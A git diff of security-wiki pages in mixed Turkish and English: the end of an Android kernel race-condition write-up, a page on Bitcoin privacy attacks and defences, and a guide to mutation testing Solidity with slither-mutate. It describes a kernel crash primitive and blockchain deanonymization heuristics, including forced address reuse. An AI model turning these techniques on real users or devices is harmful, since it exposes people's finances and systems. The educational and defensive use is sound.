- Açıklanan davranış güvenilir bir kernel crash primitive'idir; bunu privilege escalation'a dönüştürmek tipik olarak bu özetin kapsamı dışında ek bir kontrollü overlap (object lifetime veya write-what-where etkisi) gerektirir. Herhangi bir PoC'yi potansiyel olarak kararsızlaştırıcı olarak değerlendirin ve yalnızca emülatörlerde/VM'lerde çalıştırın.
|
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
|
||||||
|
|
||||||
## Referanslar
|
## References
|
||||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -2,74 +2,74 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Temel Kavramlar
|
## Basic Concepts
|
||||||
|
|
||||||
- **Smart Contracts** bir blokzincir üzerinde belirli koşullar sağlandığında çalışan programlar olarak tanımlanır; aracı olmadan anlaşmaların otomatik olarak yürütülmesini sağlar.
|
- **Akıllı Sözleşmeler (Smart Contracts)**, belirli koşullar yerine geldiğinde bir blok zincirinde çalışan ve anlaşmaların aracı olmadan otomatik olarak yürütülmesini sağlayan programlar olarak tanımlanır.
|
||||||
- **Decentralized Applications (dApps)**, kullanıcı dostu bir ön yüz ve şeffaf, denetlenebilir bir arka uç içeren smart contract’lar üzerine kurulur.
|
- **Decentralized Applications (dApps)**, bir kullanıcı dostu ön yüz ve şeffaf, denetlenebilir bir arka uç üzerine inşa edilen uygulamalardır.
|
||||||
- **Tokens & Coins** farkı, coin’lerin dijital para olarak hizmet etmesi; token’lar ise belirli bağlamlarda değer veya mülkiyet temsil etmesidir.
|
- **Tokens & Coins** arasında ayrım şudur: coins dijital para görevi görürken, tokens belirli bağlamlarda değer veya sahipliği temsil eder.
|
||||||
- **Utility Tokens** hizmetlere erişim sağlar, **Security Tokens** ise varlık mülkiyetini gösterir.
|
- **Utility Tokens** hizmetlere erişim sağlar, **Security Tokens** ise varlık sahipliğini ifade eder.
|
||||||
- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Decentralized Finance anlamına gelir.
|
- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Decentralized Finance anlamına gelir.
|
||||||
- **DEX** ve **DAOs** sırasıyla Decentralized Exchange Platformları ve Decentralized Autonomous Organizations anlamına gelir.
|
- **DEX** ve **DAOs**, sırasıyla Decentralized Exchange Platforms ve Decentralized Autonomous Organizations anlamına gelir.
|
||||||
|
|
||||||
## Konsensüs Mekanizmaları
|
## Consensus Mechanisms
|
||||||
|
|
||||||
Konsensüs mekanizmaları, blokzincirde işlemlerin güvenli ve mutabık şekilde doğrulanmasını sağlar:
|
Consensus mekanizmaları, blok zincirinde işlemlerin güvenli ve üzerinde anlaşılmış şekilde doğrulanmasını sağlar:
|
||||||
|
|
||||||
- **Proof of Work (PoW)** işlem doğrulaması için hesaplama gücüne dayanır.
|
- **Proof of Work (PoW)** işlem doğrulaması için hesaplama gücüne dayanır.
|
||||||
- **Proof of Stake (PoS)** doğrulayıcıların belirli miktarda token bulundurmasını gerektirir; PoW’ye kıyasla enerji tüketimini azaltır.
|
- **Proof of Stake (PoS)** doğrulayıcıların belirli miktarda token tutmasını gerektirir ve PoW'a kıyasla enerji tüketimini azaltır.
|
||||||
|
|
||||||
## Bitcoin Temelleri
|
## Bitcoin Essentials
|
||||||
|
|
||||||
### İşlemler
|
### Transactions
|
||||||
|
|
||||||
Bitcoin işlemleri adresler arasında fon transferini içerir. İşlemler dijital imzalarla doğrulanır; böylece yalnızca özel anahtarın sahibi transfer başlatabilir.
|
Bitcoin işlemleri adresler arasında fon transferini içerir. İşlemler dijital imzalarla doğrulanır, bu da yalnızca private key sahibinin transfer başlatabileceğini garanti eder.
|
||||||
|
|
||||||
#### Temel Bileşenler:
|
#### Key Components:
|
||||||
|
|
||||||
- **Multisignature Transactions** bir işlemi yetkilendirmek için birden fazla imza gerektirir.
|
- **Multisignature Transactions** bir işlemi yetkilendirmek için birden fazla imza gerektirir.
|
||||||
- İşlemler **inputs** (fon kaynağı), **outputs** (hedef), **fees** (madencilere ödenen), ve **scripts** (işlem kuralları) bileşenlerinden oluşur.
|
- İşlemler **inputs** (fon kaynağı), **outputs** (hedef), **fees** (madencilere ödenen ücretler) ve **scripts** (işlem kuralları) bileşenlerinden oluşur.
|
||||||
|
|
||||||
### Lightning Network
|
### Lightning Network
|
||||||
|
|
||||||
Bitcoin’in ölçeklenebilirliğini artırmayı hedefler; bir kanalda birden fazla işlem yapılmasına izin vererek sadece son durumu blokzincire yayınlar.
|
Lightning Network, bir kanal içinde birden fazla işleme izin vererek Bitcoin'in ölçeklenebilirliğini artırmayı hedefler; yalnızca son durum blok zincirine yayınlanır.
|
||||||
|
|
||||||
## Bitcoin Gizlilik Endişeleri
|
## Bitcoin Privacy Concerns
|
||||||
|
|
||||||
Common Input Ownership ve **UTXO Change Address Detection** gibi gizlilik saldırıları işlem desenlerinden yararlanır. **Mixers** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır.
|
Gizlilik saldırıları, örneğin **Common Input Ownership** ve **UTXO Change Address Detection**, işlem desenlerinden yararlanır. **Mixers** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır.
|
||||||
|
|
||||||
## Bitcoins’i Anonim Olarak Elde Etme
|
## Acquiring Bitcoins Anonymously
|
||||||
|
|
||||||
Yöntemler nakit ticareti, madencilik ve mixer kullanımını içerir. **CoinJoin** birden fazla işlemi karıştırarak izlenebilirliği zorlaştırırken, **PayJoin** CoinJoin’leri normal işlemler gibi gizleyerek daha yüksek gizlilik sağlar.
|
Yöntemler arasında nakit ticareti, mining ve mixers kullanımı bulunur. **CoinJoin** birden fazla işlemi karıştırarak izlenebilirliği zorlaştırır, **PayJoin** ise CoinJoin işlemlerini normal işlemler gibi göstererek daha yüksek gizlilik sağlar.
|
||||||
|
|
||||||
# Bitcoin Privacy Atacks
|
# Bitcoin Privacy Saldırıları
|
||||||
|
|
||||||
# Bitcoin Gizlilik Saldırıları Özeti
|
# Summary of Bitcoin Privacy Attacks
|
||||||
|
|
||||||
Bitcoin dünyasında işlemlerin gizliliği ve kullanıcıların anonimliği sıkça endişe konusudur. İşte saldırganların Bitcoin gizliliğini zedeleyebileceği birkaç yaygın yöntemin basitleştirilmiş bir özeti.
|
Bitcoin dünyasında işlemlerin gizliliği ve kullanıcıların anonimliği sıklıkla endişe konusudur. İşte saldırganların Bitcoin gizliliğini tehlikeye atmak için kullandığı birkaç yaygın yöntemin basitleştirilmiş bir özeti.
|
||||||
|
|
||||||
## **Common Input Ownership Assumption**
|
## **Common Input Ownership Assumption**
|
||||||
|
|
||||||
Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir; bu nedenle **aynı işlemde bulunan iki input adresinin genellikle aynı sahibi olduğu varsayılır**.
|
Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir çünkü bu ekstra karmaşıklık gerektirir. Bu nedenle, **aynı işlemdeki iki input adresi sıklıkla aynı kişiye ait olarak varsayılır**.
|
||||||
|
|
||||||
## **UTXO Change Address Detection**
|
## **UTXO Change Address Detection**
|
||||||
|
|
||||||
UTXO (Unspent Transaction Output) bir işlemde tamamen harcanmak zorundadır. Sadece bir kısmı başka bir adrese gönderilirse, kalan kısım yeni bir change adresine gider. Gözlemciler bu yeni adresin gönderene ait olduğunu varsayarak gizliliği zedeleyebilir.
|
UTXO (Unspent Transaction Output) bir işlemde tamamen harcanmalıdır. Eğer yalnızca bir kısmı başka bir adrese gönderilirse, kalan miktar yeni bir change adresine gider. Gözlemciler bu yeni adresin gönderene ait olduğunu varsayarak gizliliği ihlal edebilir.
|
||||||
|
|
||||||
### Örnek
|
### Örnek
|
||||||
|
|
||||||
Bunu azaltmak için mixing servisleri veya birden çok adres kullanmak mülkiyeti gizlemeye yardımcı olabilir.
|
Bunu azaltmak için mixing servisleri veya birden fazla adres kullanmak mülkiyeti gizlemeye yardımcı olabilir.
|
||||||
|
|
||||||
## **Sosyal Ağlar ve Forumlar Üzerinden Açığa Çıkma**
|
## **Social Networks & Forums Exposure**
|
||||||
|
|
||||||
Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır; bu da adresin sahibiyle ilişkilendirilmesini kolaylaştırır.
|
Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır; bu da adresin sahibine kolayca bağlanmasını sağlar.
|
||||||
|
|
||||||
## **İşlem Grafiği Analizi**
|
## **Transaction Graph Analysis**
|
||||||
|
|
||||||
İşlemler grafik olarak görselleştirilebilir; fon akışına göre kullanıcılar arasında potansiyel bağlantıları açığa çıkarabilir.
|
İşlemler grafikler olarak görselleştirilebilir ve fon akışına dayalı olarak kullanıcılar arasında potansiyel bağlantıları ortaya çıkarabilir.
|
||||||
|
|
||||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||||
|
|
||||||
Bu heuristic, birden fazla input ve output içeren işlemleri analiz ederek hangi output’un gönderene geri dönen change olduğunu tahmin etmeye dayanır.
|
Bu heurisik, birden fazla input ve output içeren işlemleri analiz ederek hangi output'un gönderenin geri dönen change'i olduğunu tahmin etmeye dayanır.
|
||||||
|
|
||||||
### Örnek
|
### Örnek
|
||||||
```bash
|
```bash
|
||||||
@ -78,24 +78,24 @@ Bu heuristic, birden fazla input ve output içeren işlemleri analiz ederek hang
|
|||||||
```
|
```
|
||||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||||
|
|
||||||
## **Zorunlu Adres Yeniden Kullanımı**
|
## **Forced Address Reuse**
|
||||||
|
|
||||||
Saldırganlar, alıcının gelecekte bu küçük miktarları diğer inputlarla birleştirip adresleri birbirine bağlamasını umut ederek daha önce kullanılmış adreslere küçük miktarlar gönderebilirler.
|
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
|
||||||
|
|
||||||
### Doğru Wallet Davranışı
|
### Correct Wallet Behavior
|
||||||
|
|
||||||
Cüzdanlar, bu privacy leak'i önlemek için zaten kullanılmış, boş adreslerde alınan coinleri kullanmaktan kaçınmalıdır.
|
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
|
||||||
|
|
||||||
## **Diğer Blockchain Analizi Teknikleri**
|
## **Other Blockchain Analysis Techniques**
|
||||||
|
|
||||||
- **Tam Ödeme Tutarları:** change olmayan işlemler muhtemelen aynı kullanıcıya ait iki adres arasındadır.
|
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
|
||||||
- **Yuvarlak Sayılar:** Bir işlemde yuvarlak bir sayı ödemeyi işaret eder; yuvarlak olmayan çıktı muhtemelen change'dir.
|
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
|
||||||
- **Wallet Fingerprinting:** Farklı cüzdanların işlem oluşturma desenleri benzersizdir; analistler kullanılan yazılımı ve muhtemel change adresini tespit edebilir.
|
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
|
||||||
- **Tutar ve Zamanlama Korelasyonları:** İşlem zamanları veya tutarlarının açıklanması işlemleri izlenebilir hale getirebilir.
|
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
|
||||||
|
|
||||||
## **Traffic Analysis**
|
## **Traffic Analysis**
|
||||||
|
|
||||||
Ağ trafiğini izleyerek, saldırganlar işlemleri veya blokları IP adreslerine bağlayabilir ve kullanıcı gizliliğini tehlikeye atabilir. Bir varlığın çok sayıda Bitcoin node'u işletmesi, işlemleri izleme yeteneklerini artırır.
|
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
|
||||||
|
|
||||||
## More
|
## More
|
||||||
|
|
||||||
@ -105,74 +105,82 @@ For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy
|
|||||||
|
|
||||||
## Ways to Get Bitcoins Anonymously
|
## Ways to Get Bitcoins Anonymously
|
||||||
|
|
||||||
- **Cash Transactions**: Nakit ile bitcoin edinme.
|
- **Cash Transactions**: Acquiring bitcoin through cash.
|
||||||
- **Cash Alternatives**: Hediye kartları satın alıp bunları çevrimiçi olarak bitcoin'e çevirme.
|
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
|
||||||
- **Mining**: Bitcoin kazanmanın en özel yöntemi mining'dir; özellikle solo mining yapıldığında en gizlidir, çünkü mining pools madencinin IP adresini bilebilir. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||||
- **Theft**: Teorik olarak, bitcoin çalmak anonim edinme yöntemi olabilir, ancak bu yasadışıdır ve tavsiye edilmez.
|
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
|
||||||
|
|
||||||
## Mixing Services
|
## Mixing Services
|
||||||
|
|
||||||
Bir mixing service kullanarak kullanıcı, bitcoin gönderebilir ve karşılığında farklı bitcoinler alabilir; bu da orijinal sahibin izini zorlaştırır. Yine de, bu servise kayıt tutmama ve bitcoinleri gerçekten geri verme konusunda güvenmek gerekir. Alternatif mixing seçenekleri arasında Bitcoin casinoları bulunur.
|
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
|
||||||
|
|
||||||
## CoinJoin
|
## CoinJoin
|
||||||
|
|
||||||
CoinJoin, farklı kullanıcıların işlemlerini tek bir işlemde birleştirir ve girişleri çıkışlarla eşleştirmeyi zorlaştırır. Buna rağmen, benzersiz input ve output boyutlarına sahip işlemler hâlâ takip edilebilir.
|
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
|
||||||
|
|
||||||
CoinJoin kullanmış olabilecek örnek işlemler arasında `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ve `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` bulunur.
|
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||||
|
|
||||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||||
|
|
||||||
## PayJoin
|
## PayJoin
|
||||||
|
|
||||||
CoinJoin'ın bir varyantı olan PayJoin (veya P2EP), işlemi iki taraf (ör. müşteri ve satıcı) arasında normal bir işlem gibi gizler; CoinJoin'a özgü eşit çıktılar özelliği yoktur. Bu, tespit edilmesini son derece zorlaştırır ve transaction surveillance tarafından kullanılan common-input-ownership heuristic'i geçersiz kılabilir.
|
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
|
||||||
```plaintext
|
```plaintext
|
||||||
2 btc --> 3 btc
|
2 btc --> 3 btc
|
||||||
5 btc 4 btc
|
5 btc 4 btc
|
||||||
```
|
```
|
||||||
Yukarıdaki gibi işlemler PayJoin olabilir; normal bitcoin işlemlerinden ayırt edilemez halde kalarak gizliliği artırır.
|
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||||
|
|
||||||
**PayJoin kullanımı, geleneksel gözetim yöntemlerini önemli ölçüde sekteye uğratabilir**, bu da onu işlem gizliliği arayışında umut verici bir gelişme yapar.
|
**PayJoin kullanımı geleneksel gözetim yöntemlerini önemli ölçüde bozabilir**, bu da işlem gizliliği arayışında umut verici bir gelişme sağlar.
|
||||||
|
|
||||||
# Kripto Para Birimlerinde Gizlilik İçin En İyi Uygulamalar
|
# Kripto Paralarında Gizlilik İçin En İyi Uygulamalar
|
||||||
|
|
||||||
## **Wallet Synchronization Techniques**
|
## **Cüzdan Senkronizasyonu Teknikleri**
|
||||||
|
|
||||||
Gizliliği ve güvenliği korumak için cüzdanların blockchain ile senkronize edilmesi çok önemlidir. İki yöntem öne çıkar:
|
Gizlilik ve güvenliği korumak için cüzdanları blockchain ile senkronize etmek önemlidir. İki yöntem öne çıkar:
|
||||||
|
|
||||||
- **Full node**: Tüm blockchain'i indirerek, bir full node maksimum gizliliği sağlar. Yapılmış tüm işlemler yerel olarak saklanır; bu da saldırganların kullanıcının hangi işlemlerle veya adreslerle ilgilendiğini tespit etmesini imkansızlaştırır.
|
- **Full node**: Tüm blockchain'i indirerek, bir full node azami gizliliği sağlar. Yapılan tüm işlemler yerel olarak depolanır; bu, saldırganların kullanıcının hangi işlem veya adreslerle ilgilendiğini tespit etmesini imkansız hale getirir.
|
||||||
- **Client-side block filtering**: Bu yöntem, blockchain'deki her blok için filtreler oluşturmayı içerir; bu sayede cüzdanlar, ağ gözlemcilerine özel ilgi alanlarını açmadan ilgili işlemleri tespit edebilir. Lightweight cüzdanlar bu filtreleri indirir ve kullanıcının adresleriyle eşleşme olduğunda yalnızca tam blokları çeker.
|
- **Client-side block filtering**: Bu yöntem, blockchain'deki her blok için filtreler oluşturmayı içerir; böylece cüzdanlar belirli ilgi alanlarını ağ gözlemcilerine açmadan ilgili işlemleri belirleyebilir. Hafif cüzdanlar bu filtreleri indirir ve kullanıcının adresleriyle eşleşme olduğunda yalnızca tam blokları çeker.
|
||||||
|
|
||||||
## **Utilizing Tor for Anonymity**
|
## **Anonimlik için Tor Kullanımı**
|
||||||
|
|
||||||
Bitcoin'in peer-to-peer bir ağ üzerinde çalıştığı göz önüne alındığında, IP adresinizi gizlemek için Tor kullanılması önerilir; bu, ağ ile etkileşimde gizliliği artırır.
|
Bitcoin'in peer-to-peer bir ağ üzerinde çalıştığı göz önüne alındığında, IP adresinizi gizlemek ve ağla etkileşim sırasında gizliliği artırmak için Tor kullanılması önerilir.
|
||||||
|
|
||||||
## **Preventing Address Reuse**
|
## **Adres Tekrar Kullanımının Önlenmesi**
|
||||||
|
|
||||||
Gizliliği korumak için her işlemde yeni bir adres kullanmak hayati önem taşır. Adreslerin yeniden kullanılması, işlemleri aynı varlığa bağlayarak gizliliği zayıflatabilir. Modern cüzdanlar tasarımlarıyla adres tekrarını teşvik etmez.
|
Gizliliği korumak için her işlemde yeni bir adres kullanmak hayati önem taşır. Adreslerin tekrar kullanılması, işlemleri aynı varlığa bağlayarak gizliliği tehlikeye atabilir. Modern cüzdanlar tasarımları gereği adres tekrar kullanımını caydırır.
|
||||||
|
|
||||||
## **Strategies for Transaction Privacy**
|
## **İşlem Gizliliği İçin Stratejiler**
|
||||||
|
|
||||||
- **Multiple transactions**: Bir ödemeyi birkaç işleme bölmek, işlem tutarını gizleyerek gizlilik saldırılarını boşa çıkarabilir.
|
- **Multiple transactions**: Bir ödemeyi birkaç işleme bölmek işlem miktarını gizleyerek gizlilik saldırılarını önleyebilir.
|
||||||
- **Change avoidance**: Change çıktılarına ihtiyaç duymayan işlemleri tercih etmek, change tespit yöntemlerini bozarak gizliliği artırır.
|
- **Change avoidance**: Change çıktısı gerektirmeyen işlemleri tercih etmek, change algılama yöntemlerini bozarak gizliliği artırır.
|
||||||
- **Multiple change outputs**: Change'den kaçınmak mümkün değilse, birden fazla change çıktısı oluşturmak yine de gizliliği iyileştirebilir.
|
- **Multiple change outputs**: Change'den kaçınmak mümkün değilse birden fazla change çıktısı oluşturmak yine de gizliliği artırabilir.
|
||||||
|
|
||||||
# **Monero: A Beacon of Anonymity**
|
# **Monero: Anonimliğin Bir Sembolü**
|
||||||
|
|
||||||
Monero, dijital işlemlerde mutlak anonimlik ihtiyacını ele alır ve gizlilik için yüksek bir standart belirler.
|
Monero, dijital işlemlerde mutlak anonimlik ihtiyacına cevap vererek gizlilik için yüksek bir standart belirler.
|
||||||
|
|
||||||
# **Ethereum: Gas and Transactions**
|
# **Ethereum: Gas ve İşlemler**
|
||||||
|
|
||||||
## **Understanding Gas**
|
## **Gas'in Anlaşılması**
|
||||||
|
|
||||||
Gas, Ethereum üzerinde işlemleri gerçekleştirmek için gereken hesaplama çabasını ölçer ve fiyatlandırması **gwei** cinsindendir. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) maliyetli bir işlem, bir gas limiti ve bir base fee içerir; madencileri teşvik etmek için bir tip de eklenir. Kullanıcılar, fazla ödeme yapmamayı garanti etmek için bir max fee belirleyebilir; fazla olan iade edilir.
|
Gas, Ethereum üzerinde işlemleri yürütmek için gereken hesaplama çabasını ölçer ve **gwei** cinsinden fiyatlandırılır. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) tutarında bir işlem bir gas limit'i ve bir base fee'yi içerir; ayrıca madencileri teşvik etmek için bir tip bulunur. Kullanıcılar fazla ödememek için bir maksimum ücret belirleyebilir; artan miktar iade edilir.
|
||||||
|
|
||||||
## **Executing Transactions**
|
## **İşlemlerin Gerçekleştirilmesi**
|
||||||
|
|
||||||
Ethereum'daki işlemler, gönderici ve alıcıyı içerir; bunlar kullanıcı veya smart contract adresleri olabilir. İşlemler bir ücret gerektirir ve madencilik ile onaylanmalıdır. Bir işlemdeki temel bilgiler alıcı, göndericinin imzası, değer, isteğe bağlı veri, gas limiti ve ücretlerdir. Göndericinin adresi, imzadan türetildiği için işlem verisinde ayrı olarak yer almasına gerek yoktur.
|
Ethereum'deki işlemler bir gönderici ve bir alıcı içerir; bunlar kullanıcı ya da smart contract adresleri olabilir. İşlemler ücret gerektirir ve madencilikle onaylanmalıdır. Bir işlemdeki temel bilgiler alıcı, gönderici imzası, değer, isteğe bağlı veri, gas limit ve ücretlerdir. Önemle, göndericinin adresi imzadan türetilir; bu nedenle işlem verisinde ayrıca gönderici adresine yer verilmesine gerek yoktur.
|
||||||
|
|
||||||
Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto paralarla etkileşimde bulunmanın temelini oluşturur.
|
Bu uygulama ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto paralarla etkileşime girerken temel teşkil eder.
|
||||||
|
|
||||||
## References
|
## Smart Contract Güvenliği
|
||||||
|
|
||||||
|
- Test süitlerindeki kör noktaları bulmak için mutation testing:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../smart-contract-security/mutation-testing-with-slither.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||||
@ -181,9 +189,9 @@ Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes
|
|||||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||||
|
|
||||||
## DeFi/AMM Exploitation
|
## DeFi/AMM Sömürüsü
|
||||||
|
|
||||||
DEXes ve AMMs'in (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps) pratik istismarını araştırıyorsanız, bakınız:
|
DEX'ler ve AMM'lerin (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps) pratik sömürü yöntemlerini araştırıyorsanız, bakınız:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
defi-amm-hook-precision.md
|
defi-amm-hook-precision.md
|
||||||
|
|||||||
@ -0,0 +1,116 @@
|
|||||||
|
# Mutation Testing Solidity için Slither ile (slither-mutate)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Mutation testing "tests your tests" — Solidity kodunuza sistematik olarak küçük değişiklikler (mutantlar) ekleyip test süitinizi yeniden çalıştırarak yapılır. Bir test başarısız olursa mutant öldürülür. Testler hâlâ geçerse mutant hayatta kalır; bu, line/branch coverage'ın tespit edemeyeceği test süitinizdeki bir kör noktayı ortaya çıkarır.
|
||||||
|
|
||||||
|
Ana fikir: Coverage kodun çalıştırıldığını gösterir; mutation testing ise davranışın gerçekten doğrulanıp doğrulanmadığını gösterir.
|
||||||
|
|
||||||
|
## Coverage neden yanıltıcı olabilir
|
||||||
|
|
||||||
|
Bu basit eşik kontrolünü düşünün:
|
||||||
|
```solidity
|
||||||
|
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||||
|
if (deposit >= 1 ether) {
|
||||||
|
return true;
|
||||||
|
} else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
|
||||||
|
|
||||||
|
Mutation testing exposes this gap by mutating the condition and verifying your tests fail.
|
||||||
|
|
||||||
|
## Yaygın Solidity mutasyon operatörleri
|
||||||
|
|
||||||
|
Slither’s mutation engine applies many small, semantics-changing edits, such as:
|
||||||
|
- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc.
|
||||||
|
- Assignment replacement: `+=` → `=`, `-=` → `=`
|
||||||
|
- Constant replacement: non-zero → `0`, `true` ↔ `false`
|
||||||
|
- Condition negation/replacement inside `if`/loops
|
||||||
|
- Comment out whole lines (CR: Comment Replacement)
|
||||||
|
- Replace a line with `revert()`
|
||||||
|
- Data type swaps: e.g., `int128` → `int64`
|
||||||
|
|
||||||
|
Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning.
|
||||||
|
|
||||||
|
## slither-mutate ile mutation testing çalıştırma
|
||||||
|
|
||||||
|
Gereksinimler: Slither v0.10.2+.
|
||||||
|
|
||||||
|
- List options and mutators:
|
||||||
|
```bash
|
||||||
|
slither-mutate --help
|
||||||
|
slither-mutate --list-mutators
|
||||||
|
```
|
||||||
|
- Foundry örneği (sonuçları yakalayın ve tam bir log tutun):
|
||||||
|
```bash
|
||||||
|
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||||
|
```
|
||||||
|
- Eğer Foundry kullanmıyorsanız, testleri nasıl çalıştırıyorsanız ona göre `--test-cmd`'i değiştirin (ör. `npx hardhat test`, `npm test`).
|
||||||
|
|
||||||
|
Çıktılar ve raporlar varsayılan olarak `./mutation_campaign` dizininde saklanır. Yakalanmamış (hayatta kalan) mutantlar inceleme için oraya kopyalanır.
|
||||||
|
|
||||||
|
### Çıktıyı Anlamak
|
||||||
|
|
||||||
|
Rapor satırları şu şekilde görünür:
|
||||||
|
```text
|
||||||
|
INFO:Slither-Mutate:Mutating contract ContractName
|
||||||
|
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||||
|
```
|
||||||
|
- Köşeli parantez içindeki etiket mutator takma adıdır (ör. `CR` = Comment Replacement).
|
||||||
|
- `UNCAUGHT` testlerin mutant davranışı altında geçtiği anlamına gelir → eksik assertion.
|
||||||
|
|
||||||
|
## Çalışma süresini azaltma: etkili mutantlara öncelik verin
|
||||||
|
|
||||||
|
Mutation kampanyaları saatler veya günler sürebilir. Maliyeti azaltmak için ipuçları:
|
||||||
|
- Scope: Önce yalnızca kritik contracts/dizinlerle başlayın, sonra genişletin.
|
||||||
|
